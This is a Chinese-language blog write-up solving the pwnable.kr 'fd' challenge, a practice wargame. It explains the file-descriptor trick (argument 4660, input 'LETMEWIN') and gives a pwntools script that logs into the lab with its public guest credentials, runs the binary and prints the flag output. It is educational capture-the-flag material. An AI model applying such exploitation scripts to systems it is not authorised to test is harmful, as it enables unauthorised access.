

pwnable.kr fd - 1 pt [writeup]

原创

普通网友  于 2019-07-24 11:49:49 发布  630  收藏

分类专栏: [你们的pwn](#) 文章标签: [pwn](#) [pwntools](#) [CTF](#) [pwnable](#) [fd](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/youshaoduo/article/details/97114877>

版权



[你们的pwn](#) 专栏收录该内容

3 篇文章 0 订阅

订阅专栏

```
Mommy! what is a file descriptor in Linux?
```

```
* try to play the wargame your self but if you are ABSOLUTE beginner, follow this tutorial link:
```

```
https://youtu.be/971eZhMHQQw
```

```
ssh fd@pwnable.kr -p2222 (pw:guest)
```

首先按照提示, 用ssh登录上服务器, 然后查看文件:


```
int fd = atoi( argv[1] ) - 0x1234 //要为0
```

atoi (表示 ascii to integer)是把字符串转换成整型数的一个函数。所以这里需要输入一个等于0x1234的十进制的数，也就是4660而继续向下看：

```
if(!strcmp("LETMEWIN\n", buf))
```

这里strcmp函数是string compare(字符串比较)的缩写，用于比较两个字符串并根据比较结果返回整数。基本形式为strcmp(str1,str2)，若str1=str2，则返回零；若str1<str2，则返回负数；若str1>str2，则返回正数。

所以!strcmp相当于strcmp(s1, s2)==0

所以buf要等于"LETMEWIN\n"，也就是输入"LETMEWIN"加回车，得到flag。

于是payload就很好写了：

```
#!/usr/bin/python

from pwn import *

s = ssh(host='pwnable.kr',user='fd',password='guest',port=2222)
p = s.process(['fd', '4660'], './fd')
p.sendline('LETMEWIN')
print p.recv()
```

运行结果：

```
→ pwn /usr/local/bin/python /Users/youssef/Desktop/pwn/passcode.py
[+] Connecting to pwnable.kr on port 2222: Done
[*] fd@pwnable.kr:
    Distro   Ubuntu 16.04
    OS:      linux
    Arch:    amd64
    Version: 4.4.179
    ASLR:    Enabled
[+] Starting remote process './fd' on pwnable.kr: pid 73531
good job :)
mommy! I think I know what a file descriptor is!!
```



[创作打卡挑战赛](#) >

[赢取流量/现金/CSDN周边激励大奖](#)